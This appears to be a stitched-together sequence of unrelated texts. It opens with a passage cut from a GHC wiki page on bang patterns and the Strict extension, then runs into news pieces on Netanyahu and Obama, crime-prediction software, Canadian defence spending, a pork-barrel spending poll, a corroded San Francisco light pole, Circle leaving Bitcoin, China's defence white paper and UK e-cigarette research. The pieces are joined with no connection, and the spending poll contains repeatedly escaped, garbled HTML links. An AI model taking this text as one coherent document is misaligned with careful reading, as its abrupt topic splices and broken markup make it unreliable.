have their existing, lazy, semantics.  Recursive and polymorphic let bindings  Consider a banged let-binding  let !pat = rhs in body  Bang patterns in let bindings today (GHC 7.8.3 and earlier) behave as described in the user manual:  The binding cannot be recursive  The variables bound by the pattern always get monomorphic types  The complete pattern is matched before evaluation of body begins  The intent was that it is valid to desugar such a binding to  case rhs of pat -> body  This currently applies even if the pattern is just a single variable, so that the case boils down to a seq .  Continuing with this rule would mean that Strict would not allow recursive or polymoprhic pattern bindings at all. So instead we propose the following revised specification for bang patterns in let bindings.  Static semantics. Exactly as in Haskell, unaffected by Strict . This is more permissive than the current rule for bang patterns in let bindings, because it supports bang-patterns for polymorphic and recursive bindings.  Dynamic semantics. Consider the rules in the box of ​ Section 3.12 of the Haskell report. Replace these rules with the following ones, where v stands for a variable  (FORCE) . Replace any binding !p = e with v = e; p = v and replace e0 with v `seq` e0 , where v is fresh. This translation works fine if p is already a variable x , but can obviously be optimised by not introducing a fresh variable v .  (SPLIT) . Replace any binding p = e , where p is not a variable, with v = e; x1 = case v of p -> x1; ...; xn = case v of p -> xn , where v is fresh and x1 .. xn are the bound variables of p . Again if e is a variable, you can optimised his by not introducing a fresh variable.  Consider the rules in the box of Section 3.12 of the Haskell report. Replace these rules with the following ones, where stands for a variable  The result will be a (possibly) recursive set of bindings, binding only simple variables on the LHS. (One could go one step further, as in the Haskell Report and make the recursive bindings non-recursive using fix , but we do not do so in Core, and it only obfuscates matters, so we do not do so here.)  Here are some examples of how this translation works. The first expression of each sequence is Haskell source; the subsequent ones are Core.  Here is a simple non-recursive case.  let x :: Int -- Non-recursive !x = factorial y in body ===> (FORCE) let x = factorial y in x `seq` body ===> (inline seq) let x = factorial y in case x of x -> body ===> (inline x) case factorial y of x -> body  Same again, only with a pattern binding  let !(x,y) = if blob then (factorial p, factorial q) else (0,0) in body ===> (FORCE) let v = if blob then (factorial p, factorial q) else (0,0) (x,y) = v in v `seq` body ===> (SPLIT) let v = if blob then (factorial p, factorial q) else (0,0) x = case v of (x,y) -> x y = case v of (x,y) -> y in v `seq` body ===> (inline seq, float x,y bindings inwards) let v = if blob then (factorial p, factorial q) else (0,0) in case v of v -> let x = case v of (x,y) -> x y = case v of (x,y) -> y in body ===> (fluff up v's pattern; this is a standard Core optimisation) let v = if blob then (factorial p, factorial q) else (0,0) in case v of v@(p,q) -> let x = case v of (x,y) -> x y = case v of (x,y) -> y in body ===> (case of known constructor) let v = if blob then (factorial p, factorial q) else (0,0) in case v of v@(p,q) -> let x = p y = q in body ===> (inline x,y) let v = if blob then (factorial p, factorial q) else (0,0) in case v of (p,q) -> body[p/x, q/y]  The final form is just what we want: a simple case expression.  Here is a recursive case  letrec xs :: [Int] -- Recursive !xs = factorial y : xs in body ===> (FORCE) letrec xs = factorial y : xs in xs `seq` body ===> (inline seq) letrec xs = factorial y : xs in case xs of xs -> body ===> (eliminate case of value) letrec xs = factorial y : xs in body  and a polymorphic one:  let f :: forall a. [a] -> [a] -- Polymorphic !f = fst (reverse, True) in body ===> (FORCE) let f = /\a. fst (reverse a, True) in f `seq` body -- Notice that the `seq` is added only in the translation to Core -- If we did it in Haskell source, thus -- let f = ... in f `seq` body -- then f's polymorphic type would get intantiated, so the Core -- translation woudl be -- let f = ... in f Any `seq` body ===> (inline seq, inline f) case (/\a. fst (reverse a, True)) of f -> body  When overloading is involved, the results might be slightly counter intuitive:  let f :: forall a. Eq a => a -> [a] -> Bool -- Overloaded !f = fst (member, True) in body ===> (FORCE) let f = /\a \(d::Eq a). fst (member, True) in f `seq` body ===> (inline seq, case of value) let f = /\a \(d::Eq a). fst (member, True) in body  Note that the bang has no effect at all in this case  Interaction with irrefutable patterns  With -XStrict the ~ is used to recover ordinary patterns, to build an irrefutable pattern ~(~pat) is used.  Implementation notes  Implementation notes  Consider a recursive group like this  letrec f : g = rhs[f,g] in   Without Strict , we get a translation like this:  let t = /\a. letrec tm = rhs[fm,gm] fm = case t of fm:_ -> fm gm = case t of _:gm -> gm in (fm,gm) in let f = /\a. case t a of (fm,_) -> fm in let g = /\a. case t a of (_,gm) -> gm in   Here tm is the monomorphic binding for rhs .  With Strict , we want to force tm , but NOT fm or gm . Alas, tm isn't in scope in the in  part.  The simplest thing is to return it in the polymoprhic tuple t , thus:  let t = /\a. letrec tm = rhs[fm,gm] fm = case t of fm:_ -> fm gm = case t of _:gm -> gm in (tm, fm, gm) in let f = /\a. case t a of (_,fm,_) -> fm in let g = /\a. case t a of (_,_,gm) -> gm in let tm = /\a. case t a of (tm,_,_) -> tm in tm `seq` 
-Shaul Mofaz, the opposition leader in the Israeli Parliament, attacked Mr. Netanyahu, accusing him of breaking a cardinal rule by meddling in American politics.  “Prime Minister, who do you think is Israel’s greatest enemy? The United States or Iran?” he asked from the lectern in Parliament. “Who do you fear more, Mr. Netanyahu — Ahmadinejad or President Obama?” he said, referring to the Iranian president.  “Which administration is it more important for you to replace — the administration in Washington or that in Tehran?” he added. “Explain to us, Mr. Prime Minister, what are your red lines in managing the current crisis with the Americans over Iran?  Mr. Netanyahu had said Tuesday that “those in the international community who refuse to put red lines before Iran don’t have a moral right to place a red light before Israel.” He was apparently responding to a weekend statement by Secretary of State Hillary Rodham Clinton that the United States was “not setting deadlines” beyond which it would turn to a military solution. The verbal tit for tat capped months of public sparring by senior Israeli and American officials.  “Both sides have said things that, in my humble opinion, should not have been said,” said Sallai Meridor, who was Israel’s ambassador to the United States from 2006 to 2009.  Photo  With the Iranians listening to every word, he said, the open discussions and the casting of aspersions on each other’s will or capability to act are “a very unfortunate, if not dangerous, development.” He added, “If there’s a difference of opinion in the family, so to speak, you don’t go public.”  Mr. Netanyahu is perceived as trying to leverage the pre-election period to win more explicit American commitments on Iran, and some have interpreted his sharp criticism of Mr. Obama as open support for Mitt Romney.  Advertisement Continue reading the main story  But many here, including some longstanding critics of Mr. Netanyahu, said they did not believe his remarks were motivated by politics.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “I think he really believes a threat is looming,” said Isaac Herzog, a former cabinet minister and chairman of Parliament’s Labor Party faction, “and he wants to stop it.”  Several analysts and experts here attributed Mr. Netanyahu’s outburst to deep frustration with the United States for telling Israel to hold off on a military strike against Iran, and to a feeling in Israel that time is running out for any unilateral action.  “Netanyahu believes he needs some understanding with the United States, because he does not have enough support in Israel” to go it alone, said Eytan Gilboa, a professor at the Begin-Sadat Center for Strategic Studies at Bar-Ilan University.  Though the Iranians insist that their nuclear program is for peaceful purposes, Israel views a nuclear Iran as an existential threat and Mr. Netanyahu has frequently equated Iran with Nazi Germany and raised the specter of a second Holocaust.  “I think Netanyahu found himself in a place where he felt he had not much to lose,” said Avinoam Bar-Yosef, the president of the Jewish People Policy Planning Institute in Jerusalem. “He tried to see Obama, but Obama did not want to see him,” Mr. Bar-Yosef said, referring to Mr. Netanyahu’s failed attempt to secure a meeting with the president when he visits the United Nations this month.  Mr. Netanyahu’s relations with Mr. Obama may have been tense over the years, but given the close ties between Israel and the United States, few here think the relationship will be seriously damaged by one sharp statement.  But many cautioned against intervening in American politics. Israel sees the bipartisan support it has long enjoyed in the United States as one of its greatest assets. Associates of Mr. Netanyahu’s say that he understands that as much as anyone.  “Netanyahu is smart enough to know that Obama may well be the president after the elections as well,” said Moshe Arens, a former Israeli ambassador to Washington and a onetime mentor to Mr. Netanyahu. “He’s no dumbo.”
-Minority Report has arrived: Maryland and Pennsylvania using computers to predict future crimes  Parole officers use software to decide level of supervision for ex-inmates  Uses algorithm devised by American criminology professor Richard Berk  Futuristic: Tom Cruise as Chief John Anderton in Minority Report  When police in Minority Report predicted who would commit crimes and stopped them before they did it, it was considered so futuristic, the film was set in 2054.  Now, however, law enforcers in two American states are using crime-prediction software to predict which freed prisoners are most likely to commit murder, and supervising them accordingly.  Instead of relying on parole officers to decide how much supervision inmates will need on the outside by looking at their records, the new system uses a computer algorithm to decide for them.  The Minority Report-style software is already being used in Baltimore and Philadelphia to predict future murderers, and will be extended to Washington D.C. soon.  It has been developed by Professor Richard Berk, a criminologist at the University of Pennsylvania, who believes it will reduce the murder rate and those of other crimes.  Prof. Berk says his algorithm could be used to help set bail amounts and also decide sentences in the future. It could also be modified to predict lesser crimes.  He told ABC News that currently parole officers are using their own judgment to decide what level of supervision each parolee should have, based on their criminal record.  His software, he said, replaces that 'ad-hoc' decision making, and should identify eight future murderers out of 100.  He said: 'People assume that if someone murdered then they will murder in the future, but what really matters is what that person did as a young individual.  'If they committed armed robbery at age 14, that's a good predictor.  'If they committed the same crime at age 30, that doesn't predict very much.'  Prof. Berk's researchers used the details of more than 60,000 crimes then wrote an algorithm to find the people behind the crimes who were more likely to commit murder when they were out of prison.  Pre-cog: Samantha Morton plays a human who can see into the future in Minority Report  The software predicts future criminals like the 'PreCogs' in the Tom Cruise film who can see crimes not yet committed Future murderer? Neal McDonough, centre, and Colin Farrell, right, co-starred with Cruise in Minority Report  Criteria including criminal record, type of crime, location, and age at which the individual committed the crime were analysed, with type of crime and age proving to be the most reliable predictors of future crime.  He said even his students at the University of Pennsylvania compared his work to Minority Report, the 2002 film starring Tom Cruise in which gifted humans called 'PreCogs' can see into the future and predict who will commit crimes.  In the film, Cruise plays the elite crime squad head Chief John Anderton, who himself is accused of committing a murder in the future.  Prof . Berk's work has been described as 'very impressive' by Shawn Bushway, a professor of criminal justice at the State University of New York at Albany.  However he cautioned that human rights campaigners might see that the extra supervision mandated by the software for those deemed most likely to murder might amount to harassment.
-OTTAWA — The upcoming federal budget is not expected to commit to a broad increase in military spending, say several defence sources.  In fact, newly tabled fiscal planning documents suggest overall spending on the military could shrink by almost $400 million in the coming year.  During the election campaign, Prime Minister Justin Trudeau promised to maintain the former Conservative government’s defence spending levels and increase funding in 2017, as laid out in last year’s federal budget.  His government has been under pressure from allies to hike what it spends on defence, with both the United States and Britain asking Canada to aim for the NATO spending benchmark of two per cent of GDP.  The demands have become particularly strident in the aftermath of the Paris terrorist attacks last November, which killed 130 people.  Preliminary budget estimates for the coming year show the military is expected to end the year with a budget of just over $19 billion, but planned spending for fiscal 2016-17 amounts to $18.64 billion.  National Defence does routinely goes back and top up its budget later in the year, but the amounts vary depending on what is going in the world.  Defence Minister Harjit Sajjan has denied there are spending cuts in the works, citing a Liberal promise to stick with planned annual increases through a budgetary mechanism known as the defence escalator.  The Conservatives used to use a similar line, insisting the military was getting its annual operating increase, only to cut spending elsewhere.  Documents obtained by The Canadian Press under the Access to Information Act show those annual two per cent increases don’t keep up with inflation and have been more than offset by the previous Harper government’s earlier deficit spending cuts.  Under the previous government, the operating budget would increase by roughly $300 million per year, but all told some $2.1 billion ended up coming back into government coffers.  The escalator was introduced by the Conservatives as a way to provide stable and predictable funding to the military, but analysis has shown that inflation in the defence industry runs higher than in the broader economy.  A lot of that is driven by so-called “technological inflation” on high-tech military hardware, which the U.S.-based think-tank Rand Corporation estimates to range from two to five per cent annually.  National Defence is also forced to buy from a limited number of suppliers, which charge a premium.  “The two per cent defence escalator appears to be more or less adequate to compensate for strict economic inflation factors; however, it is not adequate to compensate for other non-economic driven cost inflation factors,” said a memo written for the deputy defence minister on Nov. 12, 2014.  “The two per cent defence escalator does not provide the funding stability that will allow for the successful implementation of the (Canada First Defence Strategy) without access to the accrual envelope for additional funds to offset on-going non-economic cost pressures on the DND budget.”  Conservative defence critic James Bezan says at a minimum, the Liberals should honour the promise to maintain the planned escalator increases.  With all of the deficit spending going on in other departments, Bezan admits he’s getting nervous.  “Now that we’re talking a $30-billion deficit, there’s going to be increased pressure on National Defence is pare back their own funding requirements and that is something I’m going to be watching very closely.”
-The Swine Sixteen: A Tournament of Pork Barrel Spending  With March Madness in full swing and Tax Day just around the corner, this is an ideal time to review the many pork barrel spending programs on which our government blows our hard-earned tax dollars.  Over the next two weeks your votes will decide which of 16 budget-busting boondoggles will be crowned the Champion of Pork.  The first 8 matchups are listed below, and here’s the tournament schedule:  March 28-30 voting on Sweet 16  March 31 announce the winners advancing to the Elite 8  March 31-April 1 voting on Elite 8  April 2 announce winners advancing to the Final 4  April 2-3 voting on the Final 4  April 4 announce the two winners advancing the the Championship of Pork  April 4-6 voting on the top pork barrel program  April 7 a winner is crowned  Once you’ve voted, be sure to tweet your picks for each matchup using #CutItOut  And to learn more about questionable spending, check out Spendopedia, a wiki tracking over $200 billion in pork barrel waste.  Matchup 1  Catfish Inspections – $14 million  Most Americans are unaware of the Department of Agriculture’s catfish inspections – a hotly contested issue in the farm bill. Every year, the USDA wastes about $14 million on inspections that are duplicative to the Food and Drug Administration’s own catfish inspections.  vs.  TSA Receive Unearned Raise – $17.5 million  In October 2013, the Washington Times reported that Transportation Security Agency employees had been promoted and received pay increases without any extra responsibility. With merely a title change, the TSA wasted up to $18 million in salary alone within a five-year period. So if you want to increase your salary without adding any responsibility, the Transportation Security Administration is your place to work.  Swine 16 Match 1: Which is Worse?  Matchup 2  Climate Change on Cows – $19.5 million What other way to test climate change than to test on cows, right? In May of 2013, the Department of Agriculture awarded $19.5 million to the University of Wisconsin and Oklahoma State University to focus on the impacts of climate on dairy and beef cattle.  vs.  Loan to Build Aquarium in Brazil– $105 million In 2012, the Export-Import Bank, approved a hefty loan, to the tune of $105 million, to help fund the construction of an aquarium in Brazil. The state-of-the-art aquarium will have four floors, 25 large tanks, house 500 species and 35,000 creatures, making it the largest aquarium in the Southern Hemisphere and third largest in the world.  &amp;amp;amp;amp;amp;lt;a href=”http://polldaddy.com/poll/7922181/”&amp;amp;amp;amp;amp;gt;Swine 16 Match 2: Which is Worse?&amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;gt;  Matchup 3  NASA Funds Mars Food Preparation Study – $1.2 million In case we ever make it to the planet Mars, we will have a food menu ready. The Hawaii Space Exploration Analog and Simulation program has created over 100 foods that could someday be served on Mars. Too bad we don’t have a space program to Mars anymore.  vs.  IRS Bonuses– $92 million In case you didn’t dislike the IRS already, the Associated Press reported the agency planned to pay out more than $70 million in bonuses over a period of a few months. Did we mention, this was the around the same time they were asking 90,000 employees to take unpaid leave as a result of sequestration?  Swine 16 Match 3: Which is Worse?  Matchup 4  One Full-Time Intern for USDA – $2 million For their third appearance in the challenge, the USDA does not disappoint. Officials at the department spent $2 million on an intern program, which only hired one intern.  vs.  GSA conferences– $6.7 million Last year, the General Services Administration was caught spending excessive amounts of money on lavish conferences. An independent internal auditor found that GSA had spent over $6.7 million on conferences. One example was the $823,000 spent in one conference in Las Vegas with line items including $146,527 for catering, $75,000 for team-building exercises making bikes, and a $31,000 networking reception.  &amp;amp;lt;a href=”http://polldaddy.com/poll/7922193/”&amp;amp;gt;Swine 16 Match 4: Which is Worse?&amp;amp;lt;/a&amp;amp;gt; Matchup 5  Fisker Automotive Loans – $530 million In 2008, Fisker Automotive and its electric Karma sedan, received a $528 million credit line through the Department of Energy’s new vehicle loan program, developed a year prior. When Fisker missed its sales milestones, the DOE froze Fisker’s line of credit to prevent them from drawing out additional loans but Fisker had already drawn $192.3 million. The Karma design was plagued with malfunctions and received a failing grade from Consumer Reports.  vs.  EPA Manager Defrauds Agency– $900,0000 Former Environmental Protection Agency staffer John Beale was once the highest paid official at EPA and a leading expert on climate change. He would often take long absences and claimed to making “secret trips” to Pakistan for the CIA. Thirteen years and $900,000 later, Beale finally got caught and admitted to his massive fraud.  &amp;amp;amp;lt;a href=”http://polldaddy.com/poll/7922195/”&amp;amp;amp;gt;Swine 16 Match 5: Which is Worse?&amp;amp;amp;lt;/a&amp;amp;amp;gt;  Matchup 6  HHS Conference Spending – $56 million The Department of Health and Human Services held over 140 conferences in one year alone, costing taxpayers $56,130,874. Some of the spending highlights included $1,130,000 on Head Start’s National Research Conference and a conference to advance the President’s Year of Community Living at a price tag of $646,267.  vs.  Studying Shrimp on a Treadmill– $682,570 The National Science Foundation approved money for a study titled, “Taking the Pulse of Marine Life in Stressed Seas.” The research included studying shrimp on a treadmill to identify if crabs and shrimp perform differently on a treadmill if they are under stress. Red Lobster, anyone?  &amp;amp;amp;amp;amp;amp;amp;lt;a href=”http://polldaddy.com/poll/7922196/”&amp;amp;amp;amp;amp;amp;amp;gt;Swine 16 Match 6: Which is Worse?&amp;amp;amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;amp;amp;gt; Matchup 7  IRS and VA $112,000 training videos – $112,000 The Internal Revenue Service and the Department of Veterans Affairs thought it was necessary to make parody videos for training purposes. The IRS spent $60,000 creating “Star Trek” and “Gilligan’s Island” themed videos and the VA spent $52,000 parodying the film “Patton.”  vs.  Chinese Study on Swine Manure– $28 million The Environmental Protection Agency handed out $28 million in grants to international recipients, and of these grants, $141,450 went to the Chinese Academy of Agricultural Sciences for the purposes of treating swine manure.  &amp;amp;amp;amp;amp;lt;a href=”http://polldaddy.com/poll/7922201/”&amp;amp;amp;amp;amp;gt;Swine 16 Match 7: Which is Worse?&amp;amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;amp;gt;  Matchup 8  Dead Farmers Improperly Paid Millions – $2 million The Government Accountability Office released a report in June 2013 detailing how agencies under the Department of Agriculture had been giving financial assistance to deceased farmers. The Farm Service Agency made $3.3 million in payments to the deceased. They were able to recover less than $1 million of the improper payments.  vs.  Empty Afghanistan Headquarters– $34 million Sitting in Afghanistan is a fancy new military headquarters with a tiered seating operations centers, spacious offices, high-tech chairs and top-of-the-line air conditioning units. The construction was completed at a total cost of $34 million. The only problem is that the military has no plans to ever use the facilities.
-SAN FRANCISCO—Last week, a three-story light pole fell on top of car at Pine and Taylor Streets, nearly hitting the driver. Officials from the San Francisco Public Utilities Commission say that there were varying conditions that caused the pole to fall, one of them being the corrosion at its base that was caused by urine.  The driver of the car, currently unidentified, came close to being injured. “Had the man been pulled up a little bit more he would have been killed at the scene,” Susie Salvi, a witness at the scene, told KTVU.  A banner was also weighing down the lamppost, but the PUC confirmed that they believed it was the corrosion what had ultimately caused it to break and fall. “We believe there was some contribution of dog or human urine on the base of the pole,” PUC spokesman Tyrone Jue told the San Francisco Chronicle, “This has actually been an issue for us in the past. We encourage people and dogs alike to do their business in other places, like a proper restroom or one of our fire hydrants, which are stronger and made out of cast iron.” No one was injured during the incident.  Last year, SF Mayor Edward Lee increased the street light budget for maintenance and replacement of poles. San Francisco has launched an assessment program to visually check on every single light post in the city, all 25,000 of them. Over 100 lights have already been replaced along San Bruno Avenue.  The California drought has provided less rain to wash away the urine, and the smell of the city has increased. “It’s not so much the urination,” he said, but rather the “historic levels of drug use.” Proposition 47, which passed in November 2014, downgrades drug possession to a misdemeanor and it allows state prisoners to seek early release.  To help aid the urination problem, Hizzoner has increased public restroom access, Pit Stop has installed public toilets and Mayor Lee has given additional funds to the Department of Public Works for cleanup crews and housing for the homeless.
-The Bitcoin community was in for a surprise yesterday after one of the leading digital currency startups suddenly announced the discontinuation of its Bitcoin-based services.  The platform in discussion here is Circle, which recently announced that it is diversifying its business model to position itself as a multinational financial services platform.  One of the heavily funded companies in the digital currency sector, Circle will no longer be offering Bitcoin exchange service. In a recent coverage on one of the leading business magazine, the company’s co-founder and chief executive officer Jeremy Allaire has blamed Bitcoin’s scalability issue as the reason behind his company’s drastic measure.  Circle is one of the rapidly expanding financial platforms. As the volume of transactions increase, the application’s backend should be elastic enough to accommodate it. But Bitcoin network’s fixed block size and the delays in accommodating any meaningful scaling solution has made it unattractive to Circle, as the company hints.  However, the platform doesn’t want to entirely wash its hands off Bitcoin. According to Allaire, Circle will continue to offer Bitcoin buy/sell option to its customers through a strategic partnership with Coinbase. It will use cryptocurrency technology in the backend for fiat settlements. In addition, Circle seems to be working on its own distributed ledger technology. The financial platform has made its plans to release a free software — Circle Spark public.  As per the available information, Circle Spark will enable digital payments companies – using blockchain technology – to comply with existing AML and KYC requirements during fund transfer. The statement made by Allaire is a wake-up call for the Bitcoin Core developers and other community members. Unless they act fast to resolve Bitcoin network’s scalability issues, they will start seeing more and more companies following suit.  On the other hand, the contribution of Circle or its developers to Bitcoin community so far is also something to be considered. Being an open source, decentralized platform, anyone can propose improvements to the blockchain. If these proposals are convincing enough, the community can decide whether to pursue it further or not.  In other words, as Andreas Antonopoulos recently tweeted without referring to Circle or anyone in particular,  “Profitable Bitcoin companies that have never contributed anything to Bitcoin dev or open source code have no basis to complain”.  If we gauge Circle with the same yardstick, it should just move on, without pointing fingers at anyone for its decision.  Ref: WSJ | Twitter | Image: NewsBTC
-China’s Military Blueprint: Bigger Navy, Bigger Global Role  China laid out its military strategy in its first-ever defense white paper, promising not to hit first, but vowing to strike back hard if attacked in a world full of what it sees as potential threats.  The paper, released by China’s State Council, the chief administrative body of the Chinese government, is especially noteworthy at a time of heightened tensions with the United States over China’s aggressive behavior in disputed areas of the South China Sea. On Monday, Chinese state media spoke of war with the United States as “inevitable” if the United States keeps pressing Beijing on its illegal activities; in the United States, meanwhile, the consensus over accommodating China’s rise seems to have given way to a more hawkish stance on the need to contain the rising Asian giant.  China’s new white paper provides plenty of points of continuity with past strategies, especially with Mao Zedong’s doctrine of “active defense,” known in the United States as the Billy Martin school of conflict management. (“I never threw the first punch; I threw the second four.”)  At the same time, though, the defense blueprint breaks new ground. It codifies the ongoing transformation of China into a true maritime power, and puts more emphasis on high-seas, offensive naval operations. More broadly, it envisions a much bigger, global role for Chinese armed forces than had previously been the case, and in some places echoes the famously hawkish Chinese views of thinkers such as Liu Mingfu, whose bestselling book “The China Dream” paints a vision of nearly inevitable conflict between the two global titans.  Here are some of the main takeaways from the white paper’s English-language version.  Times may be peaceful, but things sure look scary in Beijing  The defense strategy’s starting point is a generally benign global environment: “Peace, development, cooperation and mutual benefit have become an irresistible tide of the times,” the paper says. “In the foreseeable future, a world war is unlikely, and the international situation is expected to remain generally peaceful.”  But that doesn’t mean everything’s rosy from the vantage point of Chinese leaders. Traditional security threats have been compounded by new threats, from terrorism to cyber war, to make life potentially perilous. One rival country in particular, with a penchant for hanging on to its leading position and supporting treaty allies in the Asia-Pacific region, merits special attention: “There are, however, new threats from hegemonism, power politics and neo-interventionism.”  For a 5,000-year old civilization that has survived invasions from Mongols, Japanese, and Western Europeans, this is a sobering conclusion: “In the new circumstances, the national security issues facing China encompass far more subjects, extend over a greater range, and cover a longer time span than at any time in the country’s history.” Later, the paper notes: “Due to its complex geostrategic environment, China faces various threats and challenges in all its strategic directions and security domains.”  That’s especially true when it comes to the South China Sea  The white paper is mostly focused on higher-level issues of how China’s military will support the realization of China’s national “rejuvenation,” but it pays special attention to a potential area of conflict that’s in the headlines these days, China’s land reclamation efforts at a spate of reefs and rocks in the Spratly and Paracel island groups. Those activities on land features whose ownership is disputed have sparked tensions with the United States, Vietnam, the Philippines, and even Japan, which is shedding much of its post-World War II pacifism.  “On the issues concerning China’s territorial sovereignty and maritime rights and interests, some of its offshore neighbors take provocative actions and reinforce their military presence on China’s reefs and islands that they have illegally occupied. Some external countries are also busy meddling in South China Sea affairs; a tiny few maintain constant close-in air and sea surveillance and reconnaissance against China. It is thus a long-standing task for China to safeguard its maritime rights and interests.”  To underscore the point, and perhaps send a message to the U.S. Navy, the paper speaks at length about the need to ensure “preparations for military struggle” in China’s watery backyard: “In line with the evolving form of war and national security situation, the basic point for PMS will be placed on winning informationized local wars, highlighting maritime military struggle and maritime PMS.”  The paper makes clear that what’s at stake in the South China Sea is not the fate of a few atolls or uninhabited islands, but the very nature of Chinese sovereignty. Among the Chinese military missions in this new world will be to “safeguard national territorial sovereignty and maritime rights and interests, and maintain security and stability along China’s periphery.” Such doctrinal stances make it hard to believe China will easily blink first in a showdown over navigation rights in the region.  How do you say Mahan in Chinese?  Building a stronger navy was a priority of former President Hu Jintao, and has only been accelerated under Xi Jinping. But if there were any lingering doubts about China’s aim of transforming itself into a modern, maritime power, the white paper puts them to rest.  For a country whose eyes were locked on the northern and western frontier for millennia, this is noteworthy: “The traditional mentality that land outweighs sea must be abandoned, and great importance has to be attached to managing the seas and oceans and protecting maritime rights and interests. It is necessary for China to develop a modern maritime military force structure commensurate with its national security and development interests, safeguard its national sovereignty and maritime rights and interests, protect the security of strategic [sea lanes of communication] and overseas interests, and participate in international maritime cooperation, so as to provide strategic support for building itself into a maritime power.”  Importantly, especially in the context of China’s interest in ports and possibly bases across the Indian Ocean, the white paper’s first order of business for military modernization is the ability to operate far from home: improving logistics.  That’s a very active defense you’ve got there  The white paper couches China’s posture in terms of active defense, a mainstay of Chinese defense thinking since Mao’s guerrilla campaigns in the 1930s: “We will not attack unless we are attacked, but we will surely counterattack if attacked.” But the paper itself details just how the Chinese navy and air force are shedding their traditional defensive roles to take up more pro-active positions, including a true blue-water navy: “In line with the strategic requirement of offshore waters defense and open seas protection, the PLA Navy (PLAN) will gradually shift its focus from ‘offshore waters defense’ to the combination of ‘offshore waters defense’ with ‘open seas protection,’ and build a combined, multi-functional and efficient marine combat force structure. The PLAN will enhance its capabilities for strategic deterrence and counterattack, maritime maneuvers, joint operations at sea, comprehensive defense and comprehensive support.”  China is embracing its global role  Finally, the white paper makes explicit what had seemed to be a recent evolution in China’s approach to the world. Traditionally, China focused on economic development and took a hands-off approach to global affairs. But with Chinese interests growing by leaps and bounds in the Middle East, Africa, and Latin America, China is finding that its defense responsibilities are set to go as global as its economic interests.  “In response to the new requirement coming from the country’s growing strategic interests, the armed forces will actively participate in both regional and international security cooperation and effectively secure China’s overseas interests.”  That may not all be bad news: The West, after all, has been asking China to become a “responsible stakeholder” for a decade. The white paper concludes on just that note:  “With the growth of national strength, China’s armed forces will gradually intensify their participation in such operations as international peacekeeping and humanitarian assistance, and do their utmost to shoulder more international responsibilities and obligations, provide more public security goods, and contribute more to world peace and common development.”  Photo credit: DANIEL BARKER/U.S. Navy
-LONDON (Reuters) - Health officials in Britain have for the first time endorsed e-cigarettes, saying they are 95 percent safer than tobacco equivalents and even suggesting doctors should be able to prescribe the “game-changing” devices to smokers trying to quit.  E-cigarettes, which allow users to inhale nicotine-laced vapour but contain no tobacco, have surged in popularity in recent years but health bodies have so far been wary of advocating them as a safer alternative.  Governments from California to India have tried to regulate their use more strictly, many fearing they are a gateway to tobacco smoking among teenagers, and the World Health Organization has also called for curbs on the devices.  But in a study published on Wednesday, Public Health England (PHE) an agency of Britain’s Department of Health, backed their use.  “E-cigarettes are not completely risk-free but when compared to smoking, evidence shows they carry just a fraction of the harm,” said PHE’s Professor Kevin Fenton in a statement.  The study said that since most of the chemicals that cause smoking-related diseases are absent in e-cigarettes, with the current best estimate that e-cigarette use is around 95 percent less harmful to health than smoking, governments should offer them to people looking to quit.  While e-cigarettes do contain nicotine, an addictive drug, it is not nicotine that kills smokers but rather chemicals in the tar found in the smoke.  Although British doctors and stop-smoking services cannot currently prescribe e-cigarettes as none of the products on the market is licensed for medicinal purposes, the report’s authors hope that hurdle will be removed.  “Given the potential benefits as quitting aids, PHE looks forward to the arrival on the market of a choice of medicinally regulated products that can be made available to smokers by the NHS on prescription,” the report said.  CONTRADICTIONS  The publicly funded study goes against a 2014 report by the World Health Organization that called for stiff regulation of e-cigarettes and bans on their indoor use and sale to minors.  It also contradicts the findings of researchers from the University of Southern California who said this week that U.S. teens who tried electronic cigarettes might be more than twice as likely to move on to smoking conventional cigarettes as those who have never tried the devices.  The British study said e-cigarettes, which are already the most popular quitting aids in Britain and the United States, could be a cheap way to reduce smoking in deprived areas, which still have a high proportion of smokers.  A woman smokes an electronic cigarette in London, Britain August 19, 2015. REUTERS/Neil Hall  “E-cigarettes could be a game-changer in public health in particular by reducing the enormous health inequalities caused by smoking,” said Professor Ann McNeil, who helped author the study.  The study criticised media campaigns that have called e-cigarettes equally or even more harmful than smoking that could serve as a gateway to tobacco cigarettes among teenagers.  “There is no evidence that e-cigarettes are undermining England’s falling smoking rates,” McNeil said.  “Instead the evidence consistently finds that e-cigarettes are another tool for stopping smoking and in my view smokers should try vaping, and vapers should stop smoking entirely,” she added.  Almost all of the 2.6 million adults using e-cigarettes in Britain are current or ex-smokers who are using the devices to help them quit and only 2 percent of young people are regular users, the study said.  WELCOME FROM CAMPAIGNERS  Public health charities welcomed the study’s attempt to clear up the facts behind e-cigarettes.  “There are still nearly 8 million smokers in England, many of whom would benefit from switching to electronic cigarettes, but who may have been put off doing so because of unfounded health concerns,” the British charity Action on Smoking and Health said in a statement.  “If every smoker switched overnight to electronic cigarettes many hundreds of thousands of premature deaths would be prevented in the years to come,” it said.  The global tobacco industry sells about 5.7 trillion cigarettes a year, but is seeing that number shrink due to increased health consciousness, weak consumer spending and higher taxes, as well as competition from cheap black-market packs and e-cigarettes.  The four international big tobacco firms – Philip Morris International, British American Tobacco, Imperial Tobacco Group and Japan Tobacco - have all invested in e-cigarettes as a way to diversify revenue.  Imperial Tobacco has applied to UK health regulators for its Puritane e-cigarette to be licensed as a medical device, which would allow it to make claims related to health or smoking cessation. BAT’s Voke, an inhaler but not an e-cigarette, already has approval.  Calling the study an “incredibly important milestone”, a BAT spokesman acknowledged the risk posed by chemicals found in cigarette smoke and said increasing sales of e-cigarettes would greatly benefit their customers’ health.  A woman displays a package of E-cigarette, an electronic substitute in the form of a rod, slightly longer than a normal cigarette, in Bordeaux, southwestern France, on March 25, 2008. REUTERS/Regis Duvignau  E-cigarette sales, concentrated in markets such as Britain, France and the United States, are growing but exact figures are difficult to track, because many purchases occur online or in independent “vape shops”.  Wells Fargo analyst Bonnie Herzog thinks they will outsell cigarettes over the next decade.  Another analyst, Phil Gorham at Morningstar, said he expected the British PHE’s endorsement of e-cigarettes to give a further boost to their popularity and that the industry could be close to a tipping point as it turns away from its traditional tobacco market.
